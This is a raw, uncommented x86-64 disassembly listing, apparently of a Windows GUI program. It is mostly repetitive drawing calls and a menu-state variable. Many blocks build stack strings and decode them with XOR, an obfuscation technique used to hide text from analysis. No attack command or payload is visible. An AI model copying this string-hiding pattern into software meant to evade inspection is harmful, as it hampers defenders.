mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
mov rcx, rsi
call fcn.140012c70
movss xmm2, dword [0x14015d498]
lea rcx, [rbp + 0x488]
movss xmm1, dword [0x14015d494]
call fcn.140001d30
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1150]
call fcn.140030410
mov rcx, rax
call fcn.140030470
lea rdx, [0x1404de3c0]
mov ebx, eax
lea rcx, [rbp + 0x1160]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14015d448]
lea rcx, [0x14015821c]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.1400327e0
call fcn.140012d10
call fcn.140017370
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1170]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x490]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d548]
addss xmm1, dword [0x14015d548]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x498]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d4e0]
addss xmm1, dword [0x14015d484]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14015d3d4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d4f0]
lea rcx, [rbp + 0x4a0]
movss xmm1, dword [0x14015d48c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
xor eax, eax
movabs rsi, 0x33a66fbccd7eb820
mov byte [rbp], al
movabs rdi, 0x61aa5c1777dc8d5d
mov byte [rbp], al
movabs rbx, 0xcaed3bae5282b2c6
mov byte [rbp], al
movabs rax, 0x41de2e7603afe80f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20a0], rax
movabs rax, 0xb8884fc813a2f196
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20a8], rax
movabs rax, 0xc75cf402902d154f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20b0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20b8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20c0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20c8], rax
movabs rax, 0xc75c926dff5d466f
lea rdx, reloc.WS2_32.dll_accept
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x20a0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20d0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20d8], rax
vmovdqu ymm0, ymmword [rbp + 0x20c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20a0]
vmovdqa ymmword [rbp + 0x20a0], ymm1
vzeroupper
call fcn.140032ac0
call fcn.140017370
movss xmm2, dword [0x14015d534]
lea rcx, [rbp + 0x4a8]
movss xmm1, dword [0x14015d48c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d438]
lea rcx, [rbp + 0x4b0]
movss xmm1, dword [0x14015d4d0]
call fcn.140001d30
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x8c63d6203aee40b
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae5282d7bc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1180], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1188], rcx
lea rcx, [rbp + 0x1180]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1190], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1198], rax
movdqa xmm0, xmmword [rbp + 0x1190]
xorps xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0x1180], xmm0
call fcn.140031b00
test al, al
je 0x14004a8f0
mov dword [0x1404dddb8], 0xc
movss xmm2, dword [0x14015d518]
lea rcx, [rbp + 0x4b8]
movss xmm1, dword [0x14015d48c]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
movss xmm2, dword [0x14015d438]
lea rcx, [rbp + 0x4c0]
movss xmm1, dword [0x14015d4d0]
call fcn.140001d30
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41cf2e7803afe80f
mov qword [rbp + 0x10], rax
movabs rax, 0x8ea46ce672e6de89
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x20e0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x20e8], rcx
movabs rcx, 0xc75c926dff5d466f
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20f0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20f8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2100], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2108], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x20e0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2110], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2118], rax
vmovdqu ymm0, ymmword [rbp + 0x2100]
vpxor ymm1, ymm0, ymmword [rbp + 0x20e0]
vmovdqa ymmword [rbp + 0x20e0], ymm1
vzeroupper
call fcn.140031b00
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x11a0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x4c8]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d4bc]
addss xmm1, dword [0x14015d568]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x4d0]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d45c]
addss xmm1, dword [0x14015d54c]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14015d3d4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
call fcn.140013250
mov rdi, rax
xor eax, eax
movabs rdx, 0xcaed3bae5282b2c6
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c1777dc8d19
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11b0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11b8], rcx
lea rcx, [rbp + 0x11d0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11c0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x1404de3c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11c8], rax
movdqa xmm0, xmmword [rbp + 0x11c0]
xorps xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x11b0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d450]
lea rcx, [rbp + 0x4d8]
movss xmm1, dword [0x14015d54c]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddda8]
lea rcx, [rbp + 0x11b0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x41d8397118b3fd0e
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae21e5dd8a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11e0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x11e8], rcx
lea rcx, [rbp + 0x1200]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11f0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11f8], rax
movdqa xmm0, xmmword [rbp + 0x11f0]
xorps xmm0, xmmword [rbp + 0x11e0]
movdqa xmmword [rbp + 0x11e0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d450]
lea rcx, [rbp + 0x4e0]
movss xmm1, dword [0x14015d554]
mov ebx, eax
call fcn.140001d30
mov rdx, qword [0x1404ddd98]
lea rcx, [rbp + 0x11e0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rsi, rax
lea rcx, [rbp + 0x1210]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x4e8]
movss xmm1, dword [rbp + 0x1a0]
mov edi, eax
addss xmm2, dword [0x14015d548]
addss xmm1, dword [0x14015d568]
call fcn.140001d30
movss xmm2, dword [rbp + 0x1a4]
lea rcx, [rbp + 0x4f0]
movss xmm1, dword [rbp + 0x1a0]
mov rbx, rax
addss xmm2, dword [0x14015d4e0]
addss xmm1, dword [0x14015d54c]
call fcn.140001d30
movss xmm0, dword [0x14015d3b8]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14015d3d4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024260
movss xmm2, dword [0x14015d4f0]
lea rcx, [rbp + 0x4f8]
movss xmm1, dword [0x14015d550]
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
xor eax, eax
lea rdx, [0x1404dcba8]
mov byte [rbp], al
lea rcx, [rbp + 0x1220]
mov byte [rbp], al
movabs rdi, 0x61aa5c1777dc8d5d
mov byte [rbp], al
movabs rbx, 0xcaed3bae5282b2c6
movabs rax, 0x328a30761aaee213
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1220], rax
movabs rax, 0xca8a55c734edddb6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1228], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1230], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1220]
mov qword [rbp + 0x1238], rax
xorps xmm0, xmmword [rbp + 0x1230]
movdqa xmmword [rbp + 0x1220], xmm0
call fcn.140032ac0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xec52c4457bfec10
mov qword [rbp + 0x10], rax
lea rdx, [0x1404dcba9]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x1240]
mov qword [rbp + 0x1240], rax
movabs rax, 0xcaed3bae35ecdba0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1248], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1250], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1240]
mov qword [rbp + 0x1258], rax
xorps xmm0, xmmword [rbp + 0x1250]
movdqa xmmword [rbp + 0x1240], xmm0
call fcn.140032ac0
call fcn.140017370
cmp dword [0x1404dddb8], 5
jne 0x14004bc89
mov rcx, qword [0x1404ddd90]
call fcn.140012c70
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1260]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov esi, eax
call fcn.140004fb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1270]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d4f8]
lea rcx, [rbp + 0x500]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d30
mov r9d, edi
lea rcx, [rbp + 0x1280]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x41e37c455799ad0e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1280], rax
movabs rax, 0xcaed3bfd72ce9287
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1288], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1290], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1280]
mov qword [rbp + 0x1298], rax
xorps xmm0, xmmword [rbp + 0x1290]
movdqa xmmword [rbp + 0x1280], xmm0
movss xmm0, dword [0x14015d348]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033150
call fcn.140012d10
call fcn.140013250
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12a0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d56c]
lea rcx, [rbp + 0x508]
movss xmm1, dword [0x14015d474]
mov edi, eax
call fcn.140001d30
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x510]
call fcn.140001d30
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024340
movss xmm0, dword [0x14015d43c]
lea rcx, [rbp + 0x518]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d30
mov rcx, rax
call fcn.140016f40
call fcn.140017210
mov rcx, r14
call fcn.140012c70
movaps xmm2, xmm6
lea rcx, [rbp + 0x520]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 3
lea rdx, [0x1401581dc]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004b0f3
mov dword [0x1404dddb8], 3
movaps xmm2, xmm6
lea rcx, [rbp + 0x528]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 4
lea rdx, [0x1401581e0]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004b12c
mov dword [0x1404dddb8], 4
movaps xmm2, xmm6
lea rcx, [rbp + 0x530]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 5
lea rdx, [0x1401581e4]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004b165
mov dword [0x1404dddb8], 5
movaps xmm2, xmm6
lea rcx, [rbp + 0x538]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 6
lea rdx, [0x1401581e8]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004b19e
mov dword [0x1404dddb8], 6
movaps xmm2, xmm6
lea rcx, [rbp + 0x540]
movaps xmm1, xmm6
call fcn.140001d30
cmp dword [0x1404dddb8], 7
lea rdx, [0x1401581ec]
mov r8, rax
sete cl
call fcn.140033840
test al, al
je 0x14004b1d7
mov dword [0x1404dddb8], 7
call fcn.140012d10
call fcn.140017370
call fcn.140013250
mov rdi, rax
movabs rdx, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c1777dc8d19
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12b0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12b8], rcx
lea rcx, [rbp + 0x12d0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12c0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x1404de3c0]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x12b0]
mov qword [rbp + 0x12c8], rax
xorps xmm0, xmmword [rbp + 0x12c0]
movdqa xmmword [rbp + 0x12b0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d460]
lea rcx, [rbp + 0x548]
movss xmm1, dword [0x14015d4e0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x12b0]
mov rdx, qword [0x1404ddda8]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xec82e721fa8e210
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae68e6c0a7
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12e8], rcx
lea rcx, [rbp + 0x1300]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12f0], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x12e0]
mov qword [rbp + 0x12f8], rax
xorps xmm0, xmmword [rbp + 0x12f0]
movdqa xmmword [rbp + 0x12e0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d460]
mov ebx, eax
movss xmm1, dword [0x14015d4f4]
lea rcx, [rbp + 0x550]
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x12e0]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404de198]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1310]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d460]
lea rcx, [rbp + 0x558]
movss xmm1, dword [0x14015d540]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1320]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x560]
movss xmm1, dword [0x14015d4e0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [0x140158220]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
mov rdx, r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
movabs rdx, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x6190317203aff40e
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1330], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1338], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x1350]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1340], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x1404de3c0]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1330]
mov qword [rbp + 0x1348], rax
xorps xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0x1330], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x568]
movss xmm1, dword [0x14015d4f4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1330]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404ddeb0]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1360]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d478]
lea rcx, [rbp + 0x570]
movss xmm1, dword [0x14015d520]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1370]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d49c]
lea rcx, [rbp + 0x578]
movss xmm1, dword [0x14015d4e0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [0x140158224]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
mov rdx, r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xed92f7214b3ff0d
mov qword [rbp + 0x10], rax
movabs rax, 0xcaed3bae528288b4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1380], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1388], rcx
lea rcx, [rbp + 0x13a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1390], rax
movabs rax, 0xcaed3bae5282b2c6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1380]
mov qword [rbp + 0x1398], rax
xorps xmm0, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x1380], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d49c]
lea rcx, [rbp + 0x580]
movss xmm1, dword [0x14015d4f4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x1380]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404dde90]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x13b0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d49c]
lea rcx, [rbp + 0x588]
movss xmm1, dword [0x14015d52c]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
lea rdx, [0x1404de3c0]
lea rcx, [rbp + 0x13c0]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4b0]
lea rcx, [rbp + 0x590]
movss xmm1, dword [0x14015d4e0]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [0x140158228]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
mov rdx, r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
mov rdi, rax
movabs rdx, 0xcaed3bae5282b2c6
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa5c174d9fcc10
mov qword [rbp + 0x10], rax
movabs rax, 0x61aa5c1777dc8d5d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13d0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x13d8], rcx
lea rcx, [rbp + 0x13f0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13e0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x1404de3c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13e8], rax
movdqa xmm0, xmmword [rbp + 0x13e0]
xorps xmm0, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x13d0], xmm0
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4b0]
lea rcx, [rbp + 0x598]
movss xmm1, dword [0x14015d4f4]
mov ebx, eax
call fcn.140001d30
movss xmm2, dword [0x14015d414]
lea rcx, [rbp + 0x13d0]
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rcx, [0x1404dde48]
mov rsi, rax
call fcn.140077710
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1400]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4b0]
mov ebx, eax
movss xmm1, dword [0x14015d50c]
lea rcx, [rbp + 0x5a0]
call fcn.140001d30
movss xmm2, dword [0x14015d414]
xor ecx, ecx
mov rdx, qword [0x1404ddd98]
mov r9, rax
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024600
call fcn.140013250
lea rdx, [0x1404de3c0]
mov rdi, rax
lea rcx, [rbp + 0x1410]
call fcn.140030410
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d4cc]
